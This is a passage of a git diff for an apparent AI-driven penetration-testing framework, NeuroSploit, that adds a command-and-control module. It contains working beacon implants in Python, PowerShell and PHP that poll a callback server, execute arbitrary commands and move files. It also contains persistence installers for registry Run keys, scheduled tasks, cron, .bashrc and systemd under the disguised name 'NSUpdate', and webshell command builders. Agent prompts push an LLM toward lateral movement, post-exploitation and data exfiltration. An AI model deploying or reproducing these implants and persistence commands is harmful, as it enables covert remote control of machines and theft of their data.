$ttype" ;; + esac + done + sleep "$SLEEP" +done +"#; + tpl.replace("@BASE@", base) + .replace("@TOKEN@", token) + .replace("@UUID@", &random_token()[..16]) + .replace("@SLEEP@", &sleep_s.max(1).to_string()) + .replace("@JITTER@", &jitter.min(100).to_string()) +} + +pub(crate) fn payload_python_beacon(base: &str, token: &str, sleep_s: u32, jitter: u32) -> String { + let tpl = r#"#!/usr/bin/env python3 +# NeuroSploit C2 beacon (HTTP) — authorized engagements only. +import base64, json, os, platform, socket, subprocess, sys, time, urllib.request + +BASE = "@BASE@" +TOKEN = "@TOKEN@" +UUID = "@UUID@" +SLEEP = @SLEEP@ +JITTER = @JITTER@ +CWD = os.getcwd() + +def post(payload): + data = json.dumps(payload).encode() + req = urllib.request.Request(BASE + "/api/beacon", data=data, method="POST", + headers={"Content-Type": "application/json", "X-Implant-Token": TOKEN}) + with urllib.request.urlopen(req, timeout=30) as r: + return json.loads(r.read().decode() or "{}") + +def report(tid, ok, output="", error=""): + try: + post({"uuid": UUID, "results": [{"task_id": tid, "success": ok, "output": output, "error": error}]}) + except Exception: + pass + +def run(cmd): + global CWD + try: + p = subprocess.run(cmd, shell=True, cwd=CWD, capture_output=True, timeout=600) + return p.returncode == 0, (p.stdout + p.stderr).decode("utf-8", "replace") + except Exception as e: + return False, str(e) + +info = { + "uuid": UUID, + "hostname": socket.gethostname(), + "username": os.getenv("USER") or os.getenv("USERNAME") or "unknown", + "os": platform.system(), + "arch": platform.machine(), + "pid": os.getpid(), + "process_name": sys.argv[0], + "internal_ip": socket.gethostbyname(socket.gethostname()) if platform.system() != "Windows" else "", + "sleep_seconds": SLEEP, + "jitter_percent": JITTER, +} +while True: + try: + resp = post(info) + except Exception: + time.sleep(SLEEP); continue + SLEEP = int(resp.get("next_sleep") or SLEEP) + for t in resp.get("tasks") or []: + tid, ttype, payload = t.get("task_id"), t.get("task_type"), t.get("payload") or {} + try: + if ttype in ("exec", "lateral", "persist"): + ok, out = run(payload.get("command", "")) + report(tid, ok, out) + elif ttype == "pwd": + report(tid, True, CWD) + elif ttype == "ls": + p = payload.get("path") or CWD + ok, out = run(("ls -la -- " + p) if platform.system() != "Windows" else ("dir /a " + p)) + report(tid, ok, out) + elif ttype == "cd": + p = payload.get("path") or "." + try: + os.chdir(p); CWD = os.getcwd(); report(tid, True, CWD) + except Exception as e: + report(tid, False, str(e)) + elif ttype == "ps": + ok, out = run("ps aux" if platform.system() != "Windows" else "tasklist") + report(tid, ok, out) + elif ttype == "sleep": + SLEEP = int(payload.get("seconds") or SLEEP); report(tid, True, "") + elif ttype == "upload": + try: + with open(payload.get("path"), "wb") as f: + f.write(base64.b64decode(payload.get("content_b64") or "")) + report(tid, True, "wrote " + str(payload.get("path"))) + except Exception as e: + report(tid, False, str(e)) + elif ttype == "download": + try: + with open(payload.get("path"), "rb") as f: + report(tid, True, base64.b64encode(f.read()).decode()) + except Exception as e: + report(tid, False, str(e)) + elif ttype == "exit": + report(tid, True, "bye"); sys.exit(0) + else: + report(tid, False, "unsupported task " + str(ttype)) + except Exception as e: + report(tid, False, "", str(e)) + time.sleep(SLEEP) +"#; + tpl.replace("@BASE@", base) + .replace("@TOKEN@", token) + .replace("@UUID@", &random_token()[..16]) + .replace("@SLEEP@", &sleep_s.max(1).to_string()) + .replace("@JITTER@", &jitter.min(100).to_string()) +} + +pub(crate) fn payload_powershell_beacon( + base: &str, + token: &str, + sleep_s: u32, + jitter: u32, +) -> String { + let tpl = r#"# NeuroSploit C2 beacon (HTTP) — authorized engagements only. +$Base='@BASE@'; $Token='@TOKEN@'; $Uuid='@UUID@'; $Sleep=@SLEEP@ +function Send($body) { + try { return Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$Base/api/beacon" -Headers @{ 'X-Implant-Token'=$Token } -ContentType 'application/json' -Body ($body | ConvertTo-Json -Depth 6 -Compress) } catch { return $null } +} +function Report($tid,$ok,$out) { $null = Send @{ uuid=$Uuid; results=@(@{ task_id=$tid; success=$ok; output=$out }) } } +while ($true) { + $body = @{ uuid=$Uuid; hostname=$env:COMPUTERNAME; username=$env:USERNAME; os='Windows'; arch=$env:PROCESSOR_ARCHITECTURE; pid=$PID; internal_ip=''; sleep_seconds=$Sleep } + $r = Send $body + if ($r) { + if ($r.next_sleep) { $Sleep = [int]$r.next_sleep } + foreach ($t in @($r.tasks)) { + $tid=$t.task_id; $type=$t.task_type; $p=$t.payload + if ($type -eq 'exec' -or $type -eq 'lateral' -or $type -eq 'persist') { + $out = & cmd.exe /c $p.command 2>&1 | Out-String; Report $tid ($LASTEXITCODE -eq 0) $out + } elseif ($type -eq 'pwd') { Report $tid $true (Get-Location).Path } + elseif ($type -eq 'ls') { $out = Get-ChildItem -Force -Path ($(if ($p.path) { $p.path } else { '.' })) | Out-String; Report $tid $true $out } + elseif ($type -eq 'cd') { try { Set-Location $p.path; Report $tid $true (Get-Location).Path } catch { Report $tid $false $_.Exception.Message } } + elseif ($type -eq 'ps') { Report $tid $true (Get-Process | Out-String) } + elseif ($type -eq 'upload') { try { [IO.File]::WriteAllBytes($p.path, [Convert]::FromBase64String($p.content_b64)); Report $tid $true 'ok' } catch { Report $tid $false $_.Exception.Message } } + elseif ($type -eq 'download') { try { Report $tid $true ([Convert]::ToBase64String([IO.File]::ReadAllBytes($p.path))) } catch { Report $tid $false $_.Exception.Message } } + elseif ($type -eq 'sleep') { $Sleep=[int]$p.seconds; Report $tid $true '' } + elseif ($type -eq 'exit') { Report $tid $true 'bye'; exit } + else { Report $tid $false 'unsupported' } + } + } + Start-Sleep -Seconds $Sleep +} +"#; + tpl.replace("@BASE@", base) + .replace("@TOKEN@", token) + .replace("@UUID@", &random_token()[..16]) + .replace("@SLEEP@", &sleep_s.max(1).to_string()) + .replace("@JITTER@", &jitter.min(100).to_string()) +} + +pub(crate) fn payload_php_beacon(base: &str, token: &str, sleep_s: u32, jitter: u32) -> String { + let tpl = r#"['method'=>'POST','header'=>"Content-Type: application/json\r\nX-Implant-Token: $token\r\n",'content'=>$data,'timeout'=>30,'ignore_errors'=>true]]); + return @file_get_contents($url,$false,$ctx); +} +while(true){ + $info=json_encode(['uuid'=>$uuid,'hostname'=>gethostname(),'username'=>get_current_user(),'os'=>PHP_OS,'arch'=>php_uname('m'),'pid'=>getmypid(),'internal_ip'=>gethostbyname(gethostname()),'sleep_seconds'=>$sleep]); + $r=post("$base/api/beacon",$token,$info); + $j=json_decode((string)$r,true); + if(is_array($j)){ + if(!empty($j['next_sleep'])) $sleep=(int)$j['next_sleep']; + foreach(($j['tasks']??[]) as $t){ + $tid=$t['task_id']; $type=$t['task_type']; $p=$t['payload']??[]; $ok=false; $out=''; + if(in_array($type,['exec','lateral','persist'])){ $out=(string)shell_exec($p['command']??''); $ok=true; } + elseif($type==='pwd'){ $out=getcwd(); $ok=true; } + elseif($type==='ls'){ $out=(string)shell_exec('ls -la -- '.escapeshellarg($p['path']??'.')); $ok=true; } + elseif($type==='download'){ $out=base64_encode((string)@file_get_contents($p['path']??'')); $ok=$out!==''; } + elseif($type==='upload'){ $ok=@file_put_contents($p['path']??'',base64_decode($p['content_b64']??''))!==false; } + elseif($type==='sleep'){ $sleep=(int)($p['seconds']??$sleep); $ok=true; } + elseif($type==='exit'){ $res=json_encode(['uuid'=>$uuid,'results'=>[['task_id'=>$tid,'success'=>true,'output'=>'bye']]]); post("$base/api/beacon",$token,$res); exit; } + $res=json_encode(['uuid'=>$uuid,'results'=>[['task_id'=>$tid,'success'=>$ok,'output'=>$out]]]); + post("$base/api/beacon",$token,$res); + } + } + sleep(max(1,$sleep)); +} +"#; + tpl.replace("@BASE@", base) + .replace("@TOKEN@", token) + .replace("@UUID@", &random_token()[..16]) + .replace("@SLEEP@", &sleep_s.max(1).to_string()) + .replace("@JITTER@", &jitter.min(100).to_string()) +} + +// --------------------------------------------------------------------------- +// WebShell file commands +// --------------------------------------------------------------------------- + +fn sq(s: &str) -> String { + format!("'{}'", s.replace('\'', "'\\''")) +} + +fn dq(s: &str) -> String { + format!("\"{}\"", s.replace('"', "\"\"")) +} + +pub(crate) fn build_file_command( + action: &str, + path: &str, + target: &str, + content: &str, + os: &str, +) -> Result { + let win = os.eq_ignore_ascii_case("windows"); + match action { + "list" => Ok(if win { + format!("dir /a {}", dq(path)) + } else { + format!("ls -la -- {}", sq(path)) + }), + "read" => Ok(if win { + format!("type {}", dq(path)) + } else { + format!("cat -- {}", sq(path)) + }), + "write" | "upload" => { + let bytes = content.as_bytes(); + if bytes.len() > 8 * 1024 * 1024 { + return Err("content too large (8 MiB max per write)".into()); + } + let b64 = b64(bytes); + Ok(if win { + format!( + "powershell -NoProfile -NonInteractive -Command \"$b=[Convert]::FromBase64String('{}');[IO.File]::WriteAllBytes({},$b)\"", + b64, + sq(path) + ) + } else { + format!("printf '%s' {} | base64 -d > {}", sq(&b64), sq(path)) + }) + } + "delete" => Ok(if win { + format!("del /f /q {}", dq(path)) + } else { + format!("rm -f -- {}", sq(path)) + }), + "mkdir" => Ok(if win { + format!("mkdir {}", dq(path)) + } else { + format!("mkdir -p -- {}", sq(path)) + }), + "rename" => { + if target.trim().is_empty() { + return Err("target_path is required for rename".into()); + } + Ok(if win { + format!("move /Y {} {}", dq(path), dq(target)) + } else { + format!("mv -- {} {}", sq(path), sq(target)) + }) + } + other => Err(format!( + "unsupported file action '{other}' (list, read, write, upload, delete, mkdir, rename)" + )), + } +} + +// --------------------------------------------------------------------------- +// Persistence +// --------------------------------------------------------------------------- + +pub(crate) fn persistence_command( + os: &str, + method: &str, + listener: &Listener, + session: &Session, +) -> Result { + let base = format!("http://{}:{}", listener.callback_host, listener.bind_port); + let win = os.to_ascii_lowercase().contains("windows"); + let m = method.trim().to_ascii_lowercase(); + if win { + let ps = payload_powershell_beacon( + &base, + &listener.token, + listener.sleep_seconds, + listener.jitter_percent, + ); + let utf16: Vec = ps.encode_utf16().flat_map(|u| u.to_le_bytes()).collect(); + let encoded = b64(&utf16); + let cmdline = format!("powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand {encoded}"); + return Ok(match m.as_str() { + "registry" => format!( + "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v NSUpdate /t REG_SZ /d \"{}\" /f", + cmdline.replace('"', "\\\"") + ), + _ => format!( + "schtasks /Create /F /SC ONLOGON /TN \"NSUpdate\" /TR \"{}\"", + cmdline.replace('"', "\\\"") + ), + }); + } + let beacon = payload_bash_beacon( + &base, + &listener.token, + listener.sleep_seconds, + listener.jitter_percent, + ); + let one = format!("nohup bash -c {} >/dev/null 2>&1 &", sq(&beacon)); + let one_line = one.replace('\n', " "); + Ok(match m.as_str() { + "cron" => format!( + "(crontab -l 2>/dev/null; echo '@reboot {}') | crontab -", + one_line + ), + "bashrc" => format!( + "grep -q 'NSUpdate' ~/.bashrc 2>/dev/null || echo '# NSUpdate' >> ~/.bashrc; grep -qF {} ~/.bashrc 2>/dev/null || echo {} >> ~/.bashrc", + sq(&one_line), + sq(&one_line) + ), + "systemd" => format!( + "mkdir -p ~/.config/systemd/user && printf '[Unit]\\nDescription=NSUpdate\\n[Service]\\nExecStart=/bin/bash -c {}\\nRestart=always\\n[Install]\\nWantedBy=default.target\\n' > ~/.config/systemd/user/nsupdate.service && systemctl --user daemon-reload && systemctl --user enable --now nsupdate.service", + sq(&one_line.replace('%', "%%")) + ), + _ => format!("{} # session {} @ {}", one_line, session.id, session.hostname), + }) +} diff --git a/neurosploit-rs/crates/harness/src/c2/types.rs b/neurosploit-rs/crates/harness/src/c2/types.rs new file mode 100644 index 0000000..54b3b9b --- /dev/null +++ b/neurosploit-rs/crates/harness/src/c2/types.rs @@ -0,0 +1,224 @@ +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; + +use super::{now_ms, EVENT_CAP, STATE_VERSION}; + +/// Operator authorization and guardrails. Persisted so every restarted daemon +/// enforces the same boundary. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct C2Policy { + pub enabled: bool, + /// Free-text reference to the engagement authorization (SOW / ticket / + /// bug-bounty URL). Required to enable. + pub authorized_by: String, + /// Prefer private/loopback targets. Public targets require an allow-list + /// match or an explicit `allow_public_targets`. + pub internal_only: bool, + /// Explicit opt-in: `persist` tasks are accepted. + pub allow_persistence: bool, + /// Explicit opt-in: `upload` and `lateral` tasks are accepted. + pub allow_lateral: bool, + /// Explicit opt-in for public targets. + pub allow_public_targets: bool, + /// Hosts / domains explicitly authorized (exact, `*.dom` or `.dom`). + pub allowed_hosts: Vec, + /// Per-command OPSEC deny-list (regex) for exec/lateral tasks. + pub command_deny_regex: Vec, + pub max_sessions: usize, +} + +impl Default for C2Policy { + fn default() -> Self { + Self { + enabled: false, + authorized_by: String::new(), + internal_only: true, + allow_persistence: false, + allow_lateral: false, + allow_public_targets: false, + allowed_hosts: Vec::new(), + command_deny_regex: Vec::new(), + max_sessions: 64, + } + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Listener { + pub id: String, + pub name: String, + /// `http_beacon` is the built-in transport. String field so future + /// transports do not break stored state. + pub kind: String, + pub bind_host: String, + pub bind_port: u16, + pub callback_host: String, + pub token: String, + pub status: String, + pub sleep_seconds: u32, + pub jitter_percent: u32, + pub created_at: i64, + pub started_at: Option, + pub last_error: Option, +} + +impl Listener { + /// Public projection for the web console / API responses. + pub fn safe(&self) -> Value { + json!({ + "id": self.id, + "name": self.name, + "kind": self.kind, + "bind_host": self.bind_host, + "bind_port": self.bind_port, + "callback_host": self.callback_host, + "status": self.status, + "sleep_seconds": self.sleep_seconds, + "jitter_percent": self.jitter_percent, + "created_at": self.created_at, + "started_at": self.started_at, + "last_error": self.last_error, + "token_set": !self.token.is_empty(), + }) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Session { + pub id: String, + pub listener_id: String, + pub implant_uuid: String, + pub hostname: String, + pub username: String, + pub os: String, + pub arch: String, + pub pid: i64, + pub process_name: String, + pub is_admin: bool, + pub internal_ip: String, + pub status: String, + pub first_seen: i64, + pub last_seen: i64, + pub sleep_seconds: u32, + pub jitter_percent: u32, + pub note: String, + pub metadata: Value, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Task { + pub id: String, + pub session_id: String, + pub task_type: String, + pub payload: Value, + pub status: String, + pub source: String, + pub created_at: i64, + pub sent_at: Option, + pub completed_at: Option, + pub output: String, + pub error: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct WebshellConnection { + pub id: String, + pub name: String, + pub url: String, + pub password: String, + pub shell_type: String, + pub method: String, + pub cmd_param: String, + pub pass_param: String, + pub encoding: String, + pub os: String, + pub note: String, + pub created_at: i64, + pub last_seen: Option, +} + +impl WebshellConnection { + /// Password is never sent back over the API — only whether one is set. + pub fn safe(&self) -> Value { + json!({ + "id": self.id, + "name": self.name, + "url": self.url, + "shell_type": self.shell_type, + "method": self.method, + "cmd_param": self.cmd_param, + "pass_param": self.pass_param, + "encoding": self.encoding, + "os": self.os, + "note": self.note, + "created_at": self.created_at, + "last_seen": self.last_seen, + "password_set": !self.password.is_empty(), + }) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Event { + pub ts: i64, + pub level: String, + pub kind: String, + pub message: String, + pub data: Value, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PayloadRecord { + pub name: String, + pub kind: String, + pub created_at: i64, + pub size: usize, + pub note: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct C2State { + pub version: u32, + pub policy: C2Policy, + pub listeners: Vec, + pub sessions: Vec, + pub tasks: Vec, + pub webshells: Vec, + pub events: Vec, + pub payloads: Vec, +} + +impl Default for C2State { + fn default() -> Self { + Self { + version: STATE_VERSION, + policy: C2Policy::default(), + listeners: Vec::new(), + sessions: Vec::new(), + tasks: Vec::new(), + webshells: Vec::new(), + events: Vec::new(), + payloads: Vec::new(), + } + } +} + +pub fn push_event( + state: &mut C2State, + level: &str, + kind: &str, + message: impl Into, + data: Value, +) { + state.events.push(Event { + ts: now_ms(), + level: level.into(), + kind: kind.into(), + message: message.into(), + data, + }); + if state.events.len() > EVENT_CAP { + let drop = state.events.len() - EVENT_CAP; + state.events.drain(0..drop); + } +} diff --git a/neurosploit-rs/crates/harness/src/lib.rs b/neurosploit-rs/crates/harness/src/lib.rs index 8081674..7278429 100644 --- a/neurosploit-rs/crates/harness/src/lib.rs +++ b/neurosploit-rs/crates/harness/src/lib.rs @@ -16,6 +16,7 @@ pub mod belief; pub mod browser; pub mod budget; pub mod capability; +pub mod c2; pub mod chain; pub mod claims; pub mod cold_digest; @@ -72,6 +73,7 @@ pub mod sandbox; pub mod sarif; pub mod scope; pub mod taint; +pub mod toolbox; pub mod traces; pub mod transport; pub mod types; diff --git a/neurosploit-rs/crates/harness/src/mcp_profiles.rs b/neurosploit-rs/crates/harness/src/mcp_profiles.rs index 25cf28d..0f8140e 100644 --- a/neurosploit-rs/crates/harness/src/mcp_profiles.rs +++ b/neurosploit-rs/crates/harness/src/mcp_profiles.rs @@ -20,6 +20,12 @@ pub enum Profile { MobileIos, BinaryAnalysis, BurpSuite, + Infra, + Ad, + Cloud, + Kali, + Nmap, + Full, Custom(String), } @@ -104,6 +110,60 @@ pub fn profile(p: &Profile) -> McpProfile { "env": {} }), }, + Profile::Infra => McpProfile { + name: "Infra".into(), + description: "Network/infra testing with an Nmap MCP server".into(), + server_name: "nmap".into(), + tools: tool_allowlist(p), + config: json!({ + "command": "npx", + "args": ["-y", "gc-nmap-mcp"], + "env": { "NMAP_PATH": "nmap" } + }), + }, + Profile::Ad => McpProfile { + name: "Active Directory".into(), + description: "AD assessment with a Kali MCP tool server".into(), + server_name: "kali".into(), + tools: tool_allowlist(p), + config: json!({ "command": "kali-mcp", "args": [], "env": {} }), + }, + Profile::Cloud => McpProfile { + name: "Cloud".into(), + description: "Cloud/container assessment (Kali MCP for cloud CLIs)".into(), + server_name: "kali".into(), + tools: tool_allowlist(p), + config: json!({ "command": "kali-mcp", "args": [], "env": {} }), + }, + Profile::Kali => McpProfile { + name: "Kali".into(), + description: "Full Kali Linux MCP tool server (80+ tools)".into(), + server_name: "kali".into(), + tools: tool_allowlist(p), + config: json!({ "command": "kali-mcp", "args": [], "env": {} }), + }, + Profile::Nmap => McpProfile { + name: "Nmap".into(), + description: "Nmap MCP server for port/service discovery".into(), + server_name: "nmap".into(), + tools: tool_allowlist(p), + config: json!({ + "command": "npx", + "args": ["-y", "gc-nmap-mcp"], + "env": { "NMAP_PATH": "nmap" } + }), + }, + Profile::Full => McpProfile { + name: "Full".into(), + description: "Playwright browser plus external tool servers via --mcp-server".into(), + server_name: "playwright".into(), + tools: tool_allowlist(p), + config: json!({ + "command": "npx", + "args": ["-y", "@playwright/mcp@latest", "--headless", "--isolated"], + "env": {} + }), + }, Profile::Custom(ref name) => McpProfile { name: format!("Custom: {name}"), description: format!("User-defined custom profile '{name}'"), @@ -138,6 +198,12 @@ pub fn all_profiles() -> Vec<(Profile, &'static str)> { Profile::BurpSuite, "Burp Suite REST API integration (placeholder)", ), + (Profile::Infra, "Network/infra testing with Nmap MCP"), + (Profile::Ad, "Active Directory testing with Kali MCP"), + (Profile::Cloud, "Cloud/container tooling via Kali MCP"), + (Profile::Kali, "Full Kali Linux MCP tool server"), + (Profile::Nmap, "Nmap MCP server"), + (Profile::Full, "Playwright + external tool servers"), ] } @@ -203,6 +269,22 @@ pub fn tool_allowlist(p: &Profile) -> Vec { "proxy_history", "send_to_repeater", ], + Profile::Infra | Profile::Nmap => &[ + "do-nmap", "nmap_scan", "nmap_service_scan", "nmap_vuln_scan", + "nmap_os_detect", "nmap_ping_sweep", + ], + Profile::Ad => &[ + "netexec", "enum4linux_ng", "ldapsearch", "smbclient", "rpcclient", + "impacket", "kerbrute", "certipy", "bloodhound", + ], + Profile::Cloud => &[ + "trivy", "prowler", "scoutsuite", "checkov", "kube_bench", "kube_hunter", + "cloud_enum", "s3scanner", + ], + Profile::Kali | Profile::Full => &[ + "nmap", "sqlmap", "nikto", "gobuster", "ffuf", "nuclei", "whatweb", + "httpx_probe", "hydra", "john", "searchsploit", "enum4linux", "smbclient", + ], Profile::Custom(_) => &[], }; names.iter().map(|s| (*s).to_string()).collect() @@ -253,6 +335,31 @@ pub fn prompt_context(p: &Profile) -> String { Note: this profile is a placeholder; ensure the Burp REST API \ is running before invoking tools." ), + Profile::Infra => format!( + "You are operating in INFRA/NETWORK testing mode. Use the Nmap MCP server for \ + host discovery, port/service identification and NSE checks. Available tools: {tool_list}. \ + Keep scans targeted and within the authorized scope; prefer -sV over full-range scans." + ), + Profile::Ad => format!( + "You are operating in ACTIVE DIRECTORY testing mode. Use the Kali MCP server for \ + SMB/LDAP/Kerberos enumeration, credential validation and authenticated checks. \ + Available tools: {tool_list}. Reuse credentials already proven in the engagement; \ + never brute-force or run destructive actions." + ), + Profile::Cloud => format!( + "You are operating in CLOUD/CONTAINER testing mode. Use the Kali MCP server for \ + cloud CLIs and container scanners. Available tools: {tool_list}. Read-only discovery \ + first; never delete/modify cloud resources." + ), + Profile::Kali | Profile::Full => format!( + "You are operating in TOOLBOX mode with a Kali Linux MCP server. Real pentest tools are \ + available as MCP tools: {tool_list}. Prefer the right tool over hand-rolled scripts; \ + stay in scope and avoid destructive/DoS actions." + ), + Profile::Nmap => format!( + "You are operating in NMAP mode. Use the Nmap MCP server for port/service discovery. \ + Available tools: {tool_list}. Keep scans targeted and authorized." + ), Profile::Custom(ref name) => format!( "You are operating with the custom profile '{name}'. \ No predefined tools are configured; add tools via the \ @@ -308,6 +415,12 @@ mod tests { Profile::MobileIos, Profile::BinaryAnalysis, Profile::BurpSuite, + Profile::Infra, + Profile::Ad, + Profile::Cloud, + Profile::Kali, + Profile::Nmap, + Profile::Full, ]; for variant in &expected { diff --git a/neurosploit-rs/crates/harness/src/models.rs b/neurosploit-rs/crates/harness/src/models.rs index 930d72b..5c38725 100644 --- a/neurosploit-rs/crates/harness/src/models.rs +++ b/neurosploit-rs/crates/harness/src/models.rs @@ -968,6 +968,23 @@ pub fn write_mcp_config(dir: &std::path::Path, extra_servers: Option<&std::path: } } } + // Curated MCP tool servers selected with --mcp-server (nmap, kali, ...). + if let Some(dst) = servers.as_object_mut() { + crate::toolbox::mcp_catalog::merge_selected(dst); + } + // C2 opt-in: expose NeuroSploit's own MCP server to the agentic CLI so the + // LLM can drive listeners, sessions, tasks and WebShells with the same + // guardrails the CLI enforces (the daemon fails closed when C2 is off). + if std::env::var("NEUROSPLOIT_C2").ok().as_deref() == Some("1") { + if let Ok(exe) = std::env::current_exe() { + if let Some(dst) = servers.as_object_mut() { + dst.insert("neurosploit".to_string(), serde_json::json!({ + "command": exe.display().to_string(), + "args": ["mcp"] + })); + } + } + } let cfg = serde_json::json!({ "mcpServers": servers }); let path = dir.join(".mcp.json"); std::fs::write(&path, serde_json::to_string_pretty(&cfg).unwrap_or_default())?; diff --git a/neurosploit-rs/crates/harness/src/pipeline.rs b/neurosploit-rs/crates/harness/src/pipeline.rs index 323eebf..62ca3b6 100644 --- a/neurosploit-rs/crates/harness/src/pipeline.rs +++ b/neurosploit-rs/crates/harness/src/pipeline.rs @@ -462,7 +462,7 @@ fn tool_doctrine(mcp_on: bool) -> String { console.log(await p.content()); await p.screenshot({path:'/tmp/shot.png'}); await b.close(); })();\nEOF`\n\ then `node /tmp/pw.js ` to get the rendered DOM + the XHR/fetch URLs the app calls (that reveals the real API). Use `npx playwright screenshot out.png` for quick proof. Combine with curl for the discovered API endpoints." }; - format!( + let mut doctrine = format!( "TOOLING (authorized; best on Kali Linux or the kalilinux/kali-rolling Docker image):\n\ - HTTP: `curl` (dump ALL response headers with -i/-D-, follow/inspect redirects, set methods/params/cookies), `wget`.\n\ - Ports/services: `rustscan` if present, else `nmap`; if neither is installed you may \ @@ -520,7 +520,18 @@ fn tool_doctrine(mcp_on: bool) -> String { ua = ua_line(), proxy = proxy_line(), pocs = pocs_line(), - ) + ); + if std::env::var("NEUROSPLOIT_C2").ok().as_deref() == Some("1") { + doctrine.push_str("\n"); + doctrine.push_str(crate::c2::doctrine()); + doctrine.push_str("\n"); + } + if std::env::var("NEUROSPLOIT_TOOLS").ok().as_deref() == Some("1") { + doctrine.push_str("\n"); + doctrine.push_str(&crate::toolbox::doctrine()); + doctrine.push_str("\n"); + } + doctrine } /// Default identifying User-Agent so target owners (and the operator) can tell @@ -1377,7 +1388,19 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender kali_tool_recon(&cfg, &live_hosts, &tx).await }; - let probe_facts = format!("{probe_facts}{subdomains}{tool_recon}"); + // OPT-IN: let the model pick a bounded set of real tools from the catalog + // (nmap/rustscan/httpx/nuclei/ffuf/netexec/...) and feed their raw output + // into recon. This is the API-model path; subscription CLIs can already run + // the same tools directly. Never runs in offline mode. + let agent_tools = if cfg.offline + || std::env::var("NEUROSPLOIT_AGENT_TOOLS").ok().as_deref() != Some("1") + { + String::new() + } else { + agent_tool_round(&cfg, pool, &format!("{probe_facts}{subdomains}{tool_recon}"), &tx).await + }; + + let probe_facts = format!("{probe_facts}{subdomains}{tool_recon}{agent_tools}"); let recon = if cfg.offline { let _ = tx.send("recon: offline mode — skipping model calls".into()).await; @@ -2282,8 +2305,9 @@ async fn chain_from_seed(pool: &ModelPool, target: &str, directives: &str, recon loot.iter().take(30).map(|l| format!("- {l}")).collect::>().join("\n") }; let short: String = seed.title.chars().take(28).collect(); + let c2 = crate::c2::agent_context().await; let user = format!( - "AUTHORIZED engagement on {target}.\n\n{directives}{react}{depth}{decision}{chain}{safety}{doctrine}\ + "AUTHORIZED engagement on {target}.\n\n{directives}{react}{depth}{decision}{chain}{safety}{doctrine}{c2}\ FOOTHOLD TO EXPAND (round {round}/{max}):\n- [{}] {} @ {} ({})\n payload: {}\n evidence: {}\n\n\ LOOT GATHERED (reuse it):\n{loot_block}\n\n{recipe_block}RECON:\n{recon_ctx}\n\n\ From THIS foothold, DECIDE the best directions and PROVE new impact — post-exploitation (loot creds/keys/config/source), credential reuse, privilege escalation (horizontal & vertical), lateral movement to adjacent services/hosts, data exfiltration, and NEW attack surface it exposes. Every claim needs a real tool receipt.\n\n\ @@ -5174,6 +5198,117 @@ async fn kali_tool_recon(cfg: &RunConfig, hosts: &[String], tx: &Sender) block } +const TOOLBOX_SYS: &str = "You are a tool-selection planner on an AUTHORIZED security engagement. \ +Given recon facts and a catalog of real security tools, choose a SMALL, TARGETED set of tools to run now. \ +Reply ONLY a JSON array of objects: [{\"tool\":\"\",\"args\":\"\",\"why\":\"\"}]. \ +Rules: at most 6 entries; use only IDs from the catalog; stay in scope; no destructive, DoS, phishing or persistence actions; \ +do not repeat a scan whose result is already in RECON; prefer targeted flags over full-range scans; omit args to use the catalog default. \ +If no additional tool is useful, reply []."; + +/// Bounded, opt-in agent tool loop for the recon phase. The model only selects +/// catalog IDs + flags; the runner enforces scope, constraints, timeouts and +/// provisioning. Output is appended to the recon facts for downstream agents. +async fn agent_tool_round( + cfg: &RunConfig, + pool: &ModelPool, + recon_facts: &str, + tx: &Sender, +) -> String { + let catalog = crate::toolbox::agent_catalog("run"); + let recon_trim: String = recon_facts.chars().take(9000).collect(); + let user = format!( + "TARGET: {}\n\n{}\n\nRECON FACTS (truncated):\n{}\n\nPick the next tools to run (JSON array only).", + cfg.target, catalog, recon_trim + ); + let reply = match pool.complete_routed(Task::Recon, "toolbox", TOOLBOX_SYS, &user).await { + Ok((m, text)) => { + let _ = tx.send(format!("🧰 toolbox planner via {} — selecting real tools", m.label())).await; + text + } + Err(e) => { + let _ = tx.send(format!("🧰 toolbox planner unavailable: {e}")).await; + return String::new(); + } + }; + let Some(value) = crate::json_extract::parse_reply(&reply) else { + let _ = tx.send("🧰 toolbox planner returned no parseable plan — continuing without it".into()).await; + return String::new(); + }; + let entries = match value { + serde_json::Value::Array(a) => a, + serde_json::Value::Object(mut o) => o + .remove("tool_calls") + .or_else(|| o.remove("plan")) + .and_then(|v| v.as_array().cloned()) + .unwrap_or_default(), + _ => Vec::new(), + }; + if entries.is_empty() { + let _ = tx.send("🧰 toolbox planner chose no additional tools".into()).await; + return String::new(); + } + let run_cfg = crate::toolbox::ToolRunConfig { + sandbox: cfg.sandbox.clone(), + provision: std::env::var("NEUROSPLOIT_PROVISION").ok().as_deref() == Some("1"), + timeout_secs: Some(180), + audit_dir: cfg.workdir.as_ref().map(|w| std::path::PathBuf::from(w).join("toolbox")), + scope: Some(effective_scope(cfg)), + constraints: operator_constraints(cfg), + }; + let mut block = String::from("\n\nAGENT TOOLBOX OUTPUT (real tools selected by the model; raw output):\n"); + let mut ran = 0usize; + let mut seen = std::collections::BTreeSet::new(); + for e in entries.into_iter().take(6) { + let (tool, args) = match e { + serde_json::Value::String(id) => (id, None), + serde_json::Value::Object(o) => { + let id = o.get("tool").or_else(|| o.get("id")).and_then(|v| v.as_str()).unwrap_or("").to_string(); + let args = o.get("args").and_then(|v| v.as_str()).map(|s| s.to_string()); + (id, args) + } + _ => continue, + }; + let tool = tool.trim().to_ascii_lowercase(); + if tool.is_empty() || !seen.insert(tool.clone()) { + continue; + } + if crate::toolbox::find(&tool).is_none() { + let _ = tx.send(format!("🧰 toolbox: skipping unknown tool '{tool}'")).await; + continue; + } + let _ = tx.send(format!("🧰 running {}…", tool)).await; + match crate::toolbox::run(&tool, args.as_deref(), &cfg.target, &run_cfg).await { + Ok(run) => { + ran += 1; + let _ = tx.send(format!( + "🧰 {} → exit {}{} ({} ms)", + run.name, run.code, + if run.timed_out { " · TIMED OUT" } else { "" }, + run.duration_ms + )).await; + block.push_str(&format!( + "\n### {} [{}] 